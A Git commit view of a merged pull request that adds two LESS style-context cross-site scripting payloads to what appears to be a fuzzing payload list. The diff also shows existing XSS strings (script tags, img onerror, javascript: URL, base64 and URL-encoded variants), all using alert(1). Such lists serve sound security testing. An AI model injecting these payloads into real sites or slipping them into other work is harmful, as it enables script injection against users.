Merge pull request #159 from merttasci/patch-1

added 2 style context XSS attacks for LESS
This commit is contained in:
Adam Muntner 2017-01-15 15:22:34 -05:00 committed by GitHub
commit 715977900d

View file

@ -163,3 +163,5 @@ javascript:alert(1)
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
x”</title><img src%3dx onerror%3dalert(1)>
[[#%3Cscript%3Ealert(1)%3C/script%3E|
a{b:`function(){alert(1)}()`;}
"><style type=text/less>a{b:`function(){alert(1)}()`;}</style>